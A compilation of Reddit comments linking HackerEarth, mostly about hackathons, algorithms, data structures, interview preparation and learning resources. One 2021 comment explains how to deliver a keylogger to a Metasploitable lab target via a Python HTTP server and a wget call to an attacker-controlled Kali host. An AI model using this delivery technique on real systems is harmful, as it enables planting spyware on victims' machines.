From 3.5 billion Reddit comments

10 points

·
23rd Jun 2021

- Montrez l’équipe telle qu’elle est
- Créez un onboarding de qualité
- Dédiez du temps au partage de connaissances
- Permettez aux développeurs de contribuer à des projets open source
- Protégez les développeurs contre les interruptions
- Partagez un career path clair et détaillé

Des bons points. Ils ont oublié une raison importante cependant: le salaire. Payer ses devs et ils seront moins tenté de répondre à la plétore de recruteur venant sonner à leur porte quotidiennement. https://www.hackerearth.com/recruit/resources/insights/developer-survey-2021/#chapter5-2

7 points

·
20th Aug 2021

https://www.hackerearth.com/challenges/hackathon/faas-wars-season-2/

Coders k liye....tank game ka code krna hai...kaffi simple hai lakin thoda sa different dimag laga kr iss game ko kheloge(code) and 26 ko sabhse compete krke jeet gaye toh 800 dollars win kr sakte ho...all the best...

7 points

·
23rd May 2015

UIDAI Aadhaar hackathon, interested?

> We are pleased to announce that AngelPrime & Nasscom, in association with UIDAI, will be conducting AADHAAR Online Hackathon on 6th-7th June 2015. > >Now is your chance to code for India and challenge your skills by participating in this Hackathon and also win cash prizes worth up to INR 2 Lakhs.

https://www.hackerearth.com/sprints/aadhaar-application-hackathon/

5 points

·
29th Dec 2017

Is this a minimum spanning tree problem?

That's a classic problem for algorithms and data structures. Sedgewick's treatment is on the web. Kind of amazing that such a valuable resource is right there with diagrams and everything. The criticism for Sedgewick used to be that it doesn't handle degenerate cases very well. That's probably been fixed with modern editions, but do a lot of testing with goofy inputs — graphs with one node, that kind of thing.

The writeup on Wikipedia is really math-heavy, but looks very complete. (IANAGT (graph theorist))

4 points

·
2nd Jul 2021

Also important to know:

`malloc(...)`

allocates memory on the heap, which makes it dynamically "resizable", while the array declaration declares the memory on the stack.

Memory allocated on the heap ALWAYs has to be freed via `free(...)`

when it is not in use anymore. Also as a best practice, always check malloced pointers if they are `NULL`

, 1st on creation and then before each use, this will save you a lot of time trying to debug dangling pointers.

A further discussion on stack Vs heap can be found here: https://www.hackerearth.com/practice/notes/memory-layout-of-c-program/

4 points

·
5th Jul 2019

Has companies already started hiring for New grads and Interns for 2020. I saw this hiring challenge on HackerEarth, which clearly mentions they are hiring for next year.

https://www.hackerearth.com/challenges/hiring/american-express-hiring-challenge/

3 points

·
23rd Jun 2021

- Learn Pandasif you haven't already
- Do ML courses: I recommend either Andrew NG on coursera or google's
- Pick up a project that inspires you and start working (even if it starts by doing a tutorial or mirroring someone else's work)

3 points

·
31st May 2021

The way that worked for me was to search for online hackathons or challenges for "inspiration" and some external motivation.

Hackathons are still my favorite. Nowadays, online hackathons or challenges usually run for a couple of weeks so you have some time to put something together. As an example, back in 2012, NYC was promoting some open data sets that they had been publishing so there was a hackathon where you could build a web or mobile app using some of the city data to potentially win some money.

I was fully expecting to have the worst looking project out of everyone (back in Android 3.0 days), I just liked the challenge. So I built a mobile app that showed volunteer opportunities near you on a map (from a provided dataset), and would show you their contact info. My project got a handful of thumbs-ups, it was fun.

2 resources to find these types of events:

https://www.hackerearth.com/challenges/hackathon/

https://devpost.com/

Even if you don't want to participate in the live event (or if the deadline has passed already), you can take a look at the theme for the hackathon and try to create a project that interests you. You can also review other people's submissions (sometimes)

3 points

·
28th May 2021

Automate the boring stuff with pythonis a great book/site. If you're already experienced with programming, skip to the sections you find most interesting.

Additionally, here's a Pandas (Python's table library) tutorial.

3 points

·
30th Mar 2016

After doing some investigation to determine whether they were compiling with optimizations, I contacted the site about this, and they replied:

> We have added the optimization flag "-O" while compiling Rust code with rustc in our Judge environment. And we'll soon upgrade the Rust compiler version from 1.4 to 1.7

I tried submitting one of my previous submissions again, and and you can see the results by comparing the before and after times. Since the solutions are hidden for those who haven't yet solved the problem, the results are:

Input | Time (sec) | Memory (KiB) |
---|---|---|

Input #1 | 0.101566 | 64 |

Input #2 | 0.101507 | 64 |

Input #3 | 0.10117 | 64 |

Input #4 | 0.101398 | 64 |

Input #5 | 0.102128 | 64 |

Input #6 | 0.381284 | 8552 |

Input #7 | 2.921251 | 8552 |

Input #8 | 4.288444 | 8552 |

Input #9 | 4.211226 | 8552 |

Input | Time (sec) | Memory (KiB) |
---|---|---|

Input #1 | 0.100813 | 64 |

Input #2 | 0.100858 | 64 |

Input #3 | 0.10077 | 64 |

Input #4 | 0.100859 | 64 |

Input #5 | 0.100763 | 64 |

Input #6 | 0.100685 | 64 |

Input #7 | 0.255479 | 8552 |

Input #8 | 0.370531 | 8552 |

Input #9 | 0.361709 | 8552 |

So, as you can see, for these larger inputs, that gives a greater than 10x improvement in speed.

So now you should be able to properly compete with your Ruby, or C or C++, using friends.

2 points

·
2nd Jun 2021

Hi u/antideersquad. Great question!

Both neural networks and tree-based models are examples of models that can pick up non-linearities and interactions between variables. Neural networks tend to be a bit overkill for problems not related to image or NLP, so I'd start by learning about tree-based models.

Here’s an introduction to decision trees (pre-requisite) and a couple of articles about how XGBoost works

2 points

·
31st May 2021

I did. It's a great place to start since it gives a very good explanation of the supervised learning framework to solve problems.

The only 2 things I think it's missing are decision tree models (random forest or gradient boosting) and more practical exercises. So after you finish it you can read these articles about decision trees and gradient boosting, and maybe do a project yourself.

Good luck!

2 points

·
25th May 2021

https://www.hackerearth.com/practice/math/combinatorics/basics-of-combinatorics/tutorial/

Here is a handy article, I’m attaching this because it would be a mess to type out.

For the combinatoric, put 10 on the top and 4 on the bottom and solve.

If you still don’t understand, I’ll write it out for you.

2 points

·
12th Jul 2020

You can refer to this blog https://codeforces.com/blog/entry/57282

This is ultimate blog. You can get tutorial about every topic, which are to the point and consist of most efficient implementation

Also you can also refer to home page https://cp-algorithms.com/

Though there are no specific section for the tree. But you can find blog related to tree inside tree's data structures and graph.

OR

YOU WANT TO START FROM BASIC, you can refer to https://www.hackerearth.com/practice/notes/trees/

2 points

·
17th Jun 2019

in this question

​

I am getting time limit exceed error in test case 5,6,7.

my code:-

import math import numpy as np n = int(input()) a = np.array([int(x) for x in input().split(' ')]) s =0 for i in range(n): x = n -i c = (-1+math.sqrt(1+8*x))//2 t = int(c*(c+1)/2) temp = np.sum(a[i:i+t]) if(temp>s): s =temp

print(s)

2 points

·
11th Nov 2018

You run it on your system with the sample test cases (and preferably a few more of your own) and see if it gives a runtime error.

Check this page for possible runtime errors that might occur and what part of your code they can arise from - https://www.hackerearth.com/practice/basic-programming/input-output/basics-of-input-output/tutorial/

2 points

·
7th Aug 2018

If interested, Join the ThoughtWorks webinar today at 7 PM on "Functional Programming in JS & ESNext".

https://www.hackerearth.com/blog/functional-programming-in-js-esnext/

2 points

·
11th Jul 2018

Just getting an interview with them puts you above many many people!

u/warm_sock Try [this site](leetcode.com). By far the hardest and best online judge out there, and they are partnered with pretty much all the companies in the Big N and unicorns I believe, so you get questions that are similar to what you would expect in interviewing with those companies. Also I believe if you pay for the subscription service, you get access to past questions that would ask during interviews. So possibly you could look at Palantir's old questions if they have it on there. But if you want to take the free route, which I recommend, just do this: If you can do most of the medium difficulty questions in like 15 minutes or less and do many of the hard ones within any time capacity, but a lot within an hour then you are Palantir-ready. Actually you would be Anything-ready so if you don't hit those benchmarks exactly, don't worry about it. Just try to get as good as you can at it.

This site can help you brush up on a lot of things to help you, if you're struggling with that first site. But anyways the important thing is to get good af at data structures, algorithms, and system design however you want to go about learning those. Fuck everything else.

2 points

·
9th Dec 2017

I use both DPV and Cormen side by side. When I started working on them I had literally no knowledge of algos. While Cormen can be intimidating I found DPV to be approachable. The Manbar book is amazing too and forces you to think in a different way.

This blog gives you excellent direction for getting started with Open source.

2 points

·
29th Jan 2017

Australia.

Also, is this the online competition? https://www.hackerearth.com/challenge/hiring/thoughtworks-mobile-developer-hiring-challenge/?

1 point

·
27th Jan 2022

Python lists are zero indexed meaning the first item in the list is item 0. Range also goes up to, but doesn't include the passed value so if you have range(len(studentlist)) and there are three items in the list, range gives you 0 first, then 1, then 2.

https://www.hackerearth.com/practice/notes/samarthbhargav/a-quick-intro-to-indexing-in-python/

1 point

·
7th Jan 2022

Someone shared this interesting article about object detection on Goodreads: https://www.hackerearth.com/blog/developers/introduction-to-object-detection/

1 point

·
5th Jan 2022

I've never posted on this subreddit before, but what I find so interesting about the way "Silicon Valley" approaches their fictional middle-out algorithm is how unafraid they are to describe technical details. In later seasons, they continue to show how it works on whiteboards.

Some people on the HBO subreddit speculate that it's just meant to emulate a "divide-and-conquer" approach. They kind of hand-wave the rest. To go with the theme of this subreddit, I'd say that's the most relevant angle here

https://www.hackerearth.com/practice/algorithms/sorting/merge-sort/tutorial/

But then they also linked this, and how Dropbox actually made middle-out real. Sort of. I don't really follow that discussion, but it would make for an interesting blog post or reddit post of its own

1 point

·
13th Dec 2021

There's a bunch of material on the web, e.g. https://www.hackerearth.com/blog/developers/7-steps-to-improve-your-data-structure-and-algorithm-skills/.

I'd focus on those for interviews. You only need to know things so well for interviews. You don't have to be heavily theoretical and do proofs. You need the basics: tree traversals, linked lists, arrays, queues, stacks. Probably helps to be able to implement the basic algorithms: sorting, binary search, etc. Know the basics of big O.

1 point

·
8th Oct 2021

While I think this is a good idea, the main variable here is being paired with someone of similar level. Here is an example of the kind of problems I am comfortable with doing:

Algorithm I am currently working on.

I also like recursion

1 point

·
24th Apr 2021

Anyway I found the problem on this site https://www.hackerearth.com/practice/data-structures/arrays/1-d/practice-problems/algorithm/modify-sequence/.

Here's my submission. I can't explain how it works tho. If it works, it works lol.

1 point

·
19th Apr 2021

So if I understand correctly you just need to get the keylogger onto metasploitable?

If so you can just use Python to make a http server on your Kali and use "wget http://LOCAL_KALI_IP:8080/keylogger.file" on the target to pull the file.

Very useful technique to get files to/from the target

Using Python 3.x: python3 -m http.server 8080

Using Python 2: python -m SimpleHTTPServer 8080

Full Instructions below: https://www.hackerearth.com/practice/notes/simple-http-server-in-python/

1 point

·
18th Apr 2021

The algorithm for it is pretty simple. It is mostly modulus math. https://www.hackerearth.com/blog/developers/how-to-find-the-day-of-a-week/

I just see the need to bother when I can just do a calendar query. I guess I would have to memorize it for leetcode bullshit.

1 point

·
22nd Feb 2021

Continue with CS50 web development course of that interests you. There, you'll learn the basics of web development. If you like that, you can then learn any tech stack for web development.

If you are not much into web development, try the CS50 AI course (You'll probably need some math for it).

Though preferably don't try for an internship this early directly after CS50, go on GeeksforGeeks(or take any online courses for data structures and algorithms. There is a ton of free stuff on the internet.) and learn data structures and algorithms. To practice after learning, either do problems on hackerrank (and if you cant solve questions, dont just skip them, check the editorial and try to solve).

Another domain to explore can be open source. Read about it. https://www.hackerearth.com/getstarted-opensource/ (just a starting read about it).

Dont focus in getting an internship, focus on honing your skills, you'll get it soon enough.

1 point

·
20th Feb 2021

cant find the LC link but here is an example in Haskell https://github.com/cmk/HR-Haskell/blob/master/globalMaximum.hs

1 point

·
11th Feb 2021

Hi , What I have understood that it would basically yet another leetcode ( a coding platform ) or hackerearth ( another platform for proctored platform , I have to take test on this platform for my recruitment ) , correct me I have deviated from your point :) .

​

And all the very best .

1 point

·
10th Jan 2021

1 month is more than enough for you to level up you python skills. Since you have a lack of confidence I would suggest you to start from scratch tackling one topic at a time. Hackerearth python track is a good resource to learn a topic and then solve problems from the same portal. You just have to be consistent and you would be ready to go. it's really not hard at all.

1 point

·
6th Jan 2021

how would running a sort help?

finding or making graphical versions on the web would have more value

like https://www.hackerearth.com/practice/algorithms/sorting/merge-sort/visualize/

or have little assignments to turn pseudocode into working code and gather some runtime data since debugging can lead to learning

1 point

·
3rd Jan 2021

Hi, First, you are not the only one struggling with Leetcode problems 😉. To get better at it, I would recommend making sure that you understand algorithms + data structures. Then start with easy issues. You can learn data structures + algorithms on hackerearth : https://www.hackerearth.com/practice/data-structures/arrays/1-d/tutorial/

1 point

·
31st Dec 2020

Hi,

You can check https://www.hackerearth.com/practice/data-structures/arrays/1-d/tutorial/ : they cover a lot of the data structures + there are exercises to test your understanding :)

1 point

·
27th Nov 2020

https://www.hackerearth.com/practice/algorithms/sorting/

I use this site to visualize the sorting, this site has the other sorting methods too if you need them.

1 point

·
20th Oct 2020

> Can we see some evidence that it is in someway linked to Fukushima?

I can confirm that after the 3/11 some Farmer and a rich Investor build such a Hydroponic Farm in Fukushima.

I wouldn’t be surprised when they found such Stuff in the Ground because this type of Farm is very concentrated.

Edit:

1 point

·
28th Aug 2020

If all of the #include files are copied in by the preprocessor, wouldn't this result in the entire project reducing to one huge file to be compiled, producing only one object file?

This here for example, shows multiple object files being linked into one executable. https://www.hackerearth.com/practice/notes/what-happens-when-a-c-program-runs/

1 point

·
9th Aug 2020

There are a few sites that show you this. Try searching for "uno board components". A few that I found:

https://learn.sparkfun.com/tutorials/what-is-an-arduino/whats-on-the-board

https://www.hackerearth.com/blog/developers/a-tour-of-the-arduino-uno-board/

1 point

·
25th Jun 2020

I came across this interesting activity, it's helping me brushing up my skills.

AI and ML has transformed the retail industry by enabling commerce to be not only intelligent but by being behaviorally dynamic and adaptive to each user. Creating an exciting customer experience is only possible with adequate insights driven from customer behavioral data. Higher the granularity of data, better is the visibility into a user’s behavior and better insights can be drawn to educate retailers on leading factors for a heavily personalized customer experience. In turn, the scale of data collected, however, is huge.

I am currently participating in a hackathon called Sigma-thon, to build solutions to improve Personalized Experience, Operational Optimization and Demand Forecasting.

1 point

·
25th Jun 2020

AI and ML has transformed the retail industry by enabling commerce to be not only intelligent but by being behaviorally dynamic and adaptive to each user. Creating an exciting customer experience is only possible with adequate insights driven from customer behavioral data. Higher the granularity of data, better is the visibility into a user’s behavior and better insights can be drawn to educate retailers on leading factors for a heavily personalized customer experience. In turn, the scale of data collected, however, is huge.

I am currently participating in a hackathon called Sigma-thon, to build solutions to improve Personalized Experience, Operational Optimization and Demand Forecasting.

1 point

·
21st Jun 2020

codeforces.com, cp-algorithms.com, https://www.hackerearth.com/ru/practice/, codechef.com and many others

Trust me, the more you upsolve, learn and just think over problems and algorithms the better you will get and just because you're bad at it right now doesn't mean it has to stay that way.

1 point

·
28th Apr 2020

Since the sub-trees are numbered from `1`

to `N`

, you can identify every sub-tree root node as one of the numbers in `[1, N]`

as the array entry `nodes[i - 1]`

.

Here's my solution.

1 point

·
28th Apr 2020

Google is a good starting point. Asking this is, as close as I can try to relate, like asking where I can I learn words. You'll want to pick a language, select the words you want to learn, know how you want to use them. Here is a good jumping off point.

https://www.hackerearth.com/blog/developers/artificial-intelligence-101-how-to-get-started/

1 point

·
31st Mar 2020

There are several engaging hackathons/Challenges that you could take part in to practice your python skill.

You could check out the Microsoft Azure Hackathon currently happening, its for people who can code in python. The hackathon has plenty of resource material available with demos, sample code, blogs, and guides.

1 point

·
14th Mar 2020

I'm trying to do this problem for my coding lessons

1 point

·
1st Mar 2020

If you just want to learn data structs, hackerearth has a good path for it (and some other good paths). It's also done in C++, which should help you.

practiceDS is also good, it will show you the steps you need to perform to create the data structure so you can create it in code yourself.

1 point

·
21st Jan 2020

One more thing! You're on the right track considering 'nodes' and considering whether the resulting graph is cyclic or acyclic. Perhaps more research into graph theory would help you describe your solution more clearly and name the necessary functions:

https://www.hackerearth.com/practice/algorithms/graphs/shortest-path-algorithms/tutorial/

1 point

·
19th Jan 2020

For 4, I think you would need to use breadth/depth-first search. This may not be possible though on larger boards. Could also use dynamic programming and split it down into easier sub-problems that you could piece together. This link explains possible algorithms: https://www.hackerearth.com/practice/algorithms/graphs/hamiltonian-path/tutorial/

In your example problem on the 10x10 grid for example: starting at 1,1 you know that you have to end at 2, 100, or 8 so those would be where you would check from next. So from 2 you would get 3, 82, 7, 59 as your next valid points to check from. Any time you jump off the board or visit something you've already visited, you can prune that section and move on to your next search point.

For 5, I think this would also be dynamic programming. I would do something like this. Check for a linear goal, if you have one then you're done. If not keep count of the least number of players in your way. From here, we want to split the left and right sides at the middle. You're going to check from the middle of each side towards the goal so you only have to account for a single bounce. Then we want to split it again and repeat but stopping where we previously started. Then keep working your way back until you hit a gap where your bounces will always hit a player. I don't really know what the math on that would be though.

1 point

·
8th Jan 2020

What is your background in? This is a very simple task and should be pretty straightforward in just about any language you can think of. I would recommend Python for a simple script like this. Here is a random tutorial I found on Google to get you started.

1 point

·
3rd Dec 2019

Sure, there's Bentley Ottmann Algorithm which does exactly this.

You can look at my implementation here.

1 point

·
1st Dec 2019

So dynamic programming is a pretty standard optimization method. It's basically storing solutions to a smaller sub problems through which we obtain the solution for the problem as a whole . We store them to avoid multiple computations of the same thing hence saving a lot of time and resources . Dynamic programming can often convert exponential Big O complexity to linear/quadratic !

Give this a read :

https://www.hackerearth.com/practice/algorithms/dynamic-programming/introduction-to-dynamic-programming-1/tutorial/

As for precomputation techniques , there is no particular tutorial or resource . You learn and pick them up along the way as you solve more problems . Anyways , you can search prefix/suffix arrays and read up GeeksForGeeks articles about them .

I can think of this one simple example right now :

Suppose you want to calculate the sum of array elements in a range R through L

and you have to perform this action 10^5 for different values of R and L.

If you iterate over range [R,L] each time , it is pretty inefficient as this will be an O(n)

operation and doing this 10^5 times makes it O(n^2) if array size is also of order 10^5.

We can do this precomputation.

If the given array is A, let's build another array B such that

B[i] = B[i-1] + A[i] for i > 0 and B[0] = A[0].

Basically B[i] stores cumulative sum of array elements till index i inclusive.

Now you can get sum of any range [R,L] in O(1) complexity !

required sum will be = B[R] - B[L-1]

Now you can answer 10^5 queries each in O(1) time giving you a overall O(n)

complexity.

I hope i managed to get my point through and you didn't find this boring .

Good Luck !

1 point

·
23rd Nov 2019

Not sure if I’m getting whooshed.

He’s talking about linear time complexity.

O(n) means that as the length of the input goes up linearly for the algorithm’s runtime.

For example, Something that runs with O(n^2) time complexity would mean that as the length of the input (n) gets bigger, the runtime for the algorithm grows exponentially.

1 point

·
18th Nov 2019

1) google "tower of hanoi algorithm"

2) land here https://www.hackerearth.com/blog/developers/tower-hanoi-recursion-game-algorithm-explained/

3) Read through it, looks like good explanation with code examples

1 point

·
4th Nov 2019

Multiplication / division is slightly faster in most cases.

If you want to multiply x by 9, you can do (x<<3 + x) which would be a few cycles faster than (x*9).

Modern compilers will attempt to translate your code to this for you behind the scenes, but obviously they are not 100% perfect. If you are working with embedded or performance critical stuff (graphics is a big one) where the CPU is an extremely limited resource, this becomes more common to see and use.

This site goes a bit more in depth with specific algorithm optimizations - https://www.hackerearth.com/practice/basic-programming/bit-manipulation/basics-of-bit-manipulation/tutorial/

1 point

·
28th Oct 2019

The 'hacker' websites (hackerearth for example) are good for focusing on solving technical problems. They'll help with whiteboard tests and other skill assessment tests.

1 point

·
10th Oct 2019

Check this assessment software: https://www.hackerearth.com/recruit/?utm_medium=post&utm_source=LinkedIn&utm_campaign=SocialMedia

1 point

·
4th Oct 2019

https://www.hackerearth.com/practice/data-structures/hash-tables/basics-of-hash-tables/tutorial/

This explains hashing, hash tables and hash codes and how they relate to each other.

Basically the most common form of Map in Java is the Hash Map (or Hash Table, same thing). It's an efficient lookup table. But for it to be efficient, you need a way to decide in which 'bucket' an object is put and retrieved from. That's what the hash-code is used for.

But really; read the text. There's quite a bit of it but it's a large subject.

1 point

·
22nd Sep 2019

No prob. :) I forgot to mention one critical thing, once you get acquainted with CS, you'll want to do programming exercises, a lot of them. Get into the habit of doing at least one per day starting out, do the very easy/beginner challenges first and move up. Save all your solutions for future reference, because when you're programming your own projects, you'll come across a lot of the same types of problems.

One site I used a lot for this was: https://www.hackerearth.com/practice/ . If you just look up "programming exercises for beginners" you'll find so many you'll be busy for a while, and before you know it you'll be where you want to be. Personally, I started learned programming for game design and I can't tell you how many times even beginner problems have transferred over to this field, haha.

From there, you can pick up a book on any language and everything will make sense, should be a breeze to learn C++, Java, Python etc.

1 point

·
17th Sep 2019

https://www.hackerearth.com/challenges/hiring/ncr-fresher-hiring-2019/

you can try registering for this if you are interested and if u r a 2020 passout. keep looking for opportunities and don't feel shy to ask referral from anyone you know. There are enough opportunities for everyone, keep working towards it. I hope you'll land in a job of your liking.

1 point

·
17th Sep 2019

[you can try registering for this if you are interested ( and if u r a 2020 passout)](https://www.hackerearth.com/challenges/hiring/ncr-fresher-hiring-2019/), keep looking for opportunities and don't feel shy to ask referral from anyone you know. There are enough opportunities for everyone, keep working towards it. I hope you'll land in a job of your liking.

1 point

·
3rd Sep 2019

Admittedly, I only read this write-up, and of course everyone's experience is going to be different.

But that concept looks pretty basic and and anyone with any familiarity with the logical if-then process or ladder logic programming should be familiar with the concept. Am I missing something?

1 point

·
1st Sep 2019

HackerEarth is my go to website for topics specifically related to Algorithms and Data structures. There's a **Python** section too in there that's also good and relevant to you. Provides tutorials and questions too.

1 point

·
21st Aug 2019

This is because in Python, a dictionary is basically a hashmap, and on average, hashmaps have constant time lookups. If you had a list instead, it would have taken linear time to find num (assuming lists to be unsorted arrays, but please check). So basically, you can iterate over the given list and add the number to the hashmap (dictionary), which is constant time. You can then also look up if target - number exists in the hashmap in constant time. Thus, you're only iterating over the original list once, and the time complexity is linear, which is a significant improvement over the brute force quadratic time solution.

Note: In the worst case, a hashmap lookup can be linear time, that is, O(n) instead of O(1). We are assuming average case here.

Some handy resources to understanding hashmaps and their time complexity:

https://medium.com/@bartobri/hash-crash-the-basics-of-hash-tables-bef82a8ea550

https://www.hackerearth.com/practice/data-structures/hash-tables/basics-of-hash-tables/tutorial/

1 point

·
29th Apr 2019

Maybe look at some online intro/intermediate DSA courses available on youtube. MIT probably has some good ones.

But for a more succinct and practical approach I think HackerEarth is a good place: https://www.hackerearth.com/practice/data-structures/hash-tables/basics-of-hash-tables/tutorial/

I've used it to help with some of the more advance stuff like Fenwick Trees.

1 point

·
11th Apr 2019

1 point

·
30th Mar 2019

I don't think this is a completely trivial thing to check, how about this - https://www.hackerearth.com/practice/notes/validating-user-input-in-c/ ?

Simplest solution seems to be to check cin.fail() to see if you are putting something that isn't a double into your score variable. Some cases will slip through as mentioned in the link I posted above

1 point

·
17th Jan 2019

> tech

lol no.

That guy making you a sandwich at Timmies probably doesn't have a degree in tech. Unfortunately, even if they do hold a computer science or engineering degree, depending on which country they are from (for example, 80% of Indians with CS degrees are unemployable), it is likely useless in Canada to meet Canadian standards.

That cab driver telling you he's a doctor in Pakistan may be telling the truth. But the reality is, by what Canadians deem a reasonable standard as to what a doctor is and is capable of doing, he is not - at least not here.

1 point

·
16th Jan 2019

You have to prove it to the interviewer that you know JAVA and projects are a good proof.

Your project topic should not be very common and you should be able to explain everything about it (incomplete project is also fine)

> but I lack depth in Java.

In almost all my interviews I was asked about Collections, Generics & Data Structures. So don't skip those topics.

>Can you guys recommend me some ways I can find a job/ get paid with my skills?

Other than online job search there are website which have online hiring competitions

For a web developer HTML, CSS JavaScript, JAVA, MySQL these are the minimum technologies you need to know. After these you start learning a framework like spring.

Also learn git because most companies use that.

1 point

·
30th Aug 2018

This seems similar to an algorithm called flood fill, which visits nodes in closest proximity (left, down, up, or right). The run time is O(N*M), where N and M are the dimensions of the grid you are traversing. Floodfill can be implemented recursively or through a loop, so you can decide whether to keep your current loop structure or to maybe try a memoized recursive solution.

https://www.hackerearth.com/practice/algorithms/graphs/flood-fill-algorithm/tutorial/

​

1 point

·
22nd Aug 2018

I have going here and there reading more about what after innovation and how will I measure it. I have done a lot of research and all. I got response from Facebook community also. The best one was from a person name Rowan Wellace he said " Reach, impact, revenue, scalability are all good KPIs for innovation"

Then I did a google search and found a e-book which talk about measuring innovation. I would like to understand that is it good framework to measure innovation.

Here is the framework

1 point

·
17th Aug 2018

I am really facing problem as my blog is not ranking even after having 53 DA. After migration from DJnago to wordress the traffic went so low and it's not comming up. What should I do?

Apart from it, help me in getting backlinks for Innovation Management Software.

1 point

·
13th Aug 2018

I am following this https://www.hackerearth.com/practice/python/getting-started/input-and-output/tutorial/

I find it very good.

1 point

·
17th Jun 2018

I want to solve this problem and i need help in training , how connect images data to csv file(in which mentioned in which image which animal is present ) data

1 point

·
27th Apr 2018

Yes it is. You remember that classic "separate two concentric circles of data points?" example that always gets thrown around?
We could have added the "distance from center" value and made a new vector `[x, y, dist]`

which would have worked with the linear SVM. Unless your kernel is designed to do this calculation, adding this calculation does indeed add info.

Example image at

https://www.hackerearth.com/blog/wp-content/uploads/2017/02/kernel.png

1 point

·
2nd Apr 2018

Sorry for the ambiguity. I'll try to give a more elaborate explanation.

First line consists of an integer 'T' i.e. the no. of test cases.

First line of each test case consists of two space separated integers 'N' and 'Q' i.e. the no. of elements in the array and no. of queries.

Next line contains 'N' space separated non-negative integers.

Following 'Q' lines contains a single non-negative integer 'X'.

You should check here for the details of the complete question.

1 point

·
1st Oct 2017

Thanks. But if you sort the original list, I think the sub-arrays you create will be completely different. That will give you a wrong answer. Am I right? Here is the link to the problem: https://www.hackerearth.com/fr/practice/data-structures/stacks/basics-of-stacks/practice-problems/algorithm/little-shino-and-pairs/

We need to create all the possible sub-arrays. For example, if one sub-array is [3, 4, 2, 5, 1], then the pair I create will be (4, 5), i.e., the first and the second largest number from this sub-array. Now, I need to count the number of such unique pairs.

1 point

·
11th Aug 2017

I'd suggest competitive sites like codechef, codeforces, hackerrank or hacherearth where they have the "practice" sections to teach you new concepts and improve the learned ones. Personally, I'd recommend the hackerearth's practice sections.

P.s: Do get familiar with the syntax of whatever programming language you decide to go with

1 point

·
25th Jul 2017

Yes, it's possible to walk a binary tree with iterative code. A google search finds lots of discussion on this. You either use your own explicit stack or use a threaded tree, both of which are mentioned in this article. If memory saving is important you can even use the Schorr-Waite algorithm, though that's a tad more complicated.

1 point

·
5th Jun 2017

Yea, I know the pain, spending money for these kinds of things isn't ideal. There's one office downdown where I live that let's people who are trying to start a new business use a little space for free. The local Game Developers here meetup once a month in the evening when most of the business people have gone home. Maybe there's something like that where you live?

There's also another programming event that meets all over the world. HackerEarth They rent the space, and bring in all kinds of sponsors. The one I went to was at the University. They brought Microsoft, Google, Ratheon. It was like a game jam, were you make something in 3 days. But they focus more on programming challenges like apps for companies. Even though most were like the people you have there, just looking for a stable job. I met a few people who are into in game design.

1 point

·
10th Apr 2016

It was my first time doing it, too! I read that the top folks are sport coders with libraries for common code-challenge tasks...

this looks like some pretty thorough advice on preparing.

1 point

·
10th Mar 2016

Hey Natukodi!

The Hackathon is Online! All you have to do is, register on the Hackerearth and Solve the challenge anytime you like at your convenience from 6pm, 11th March 2016 - 11pm, 13th March 2016.

You can sign up here ---> Hackerearth Registration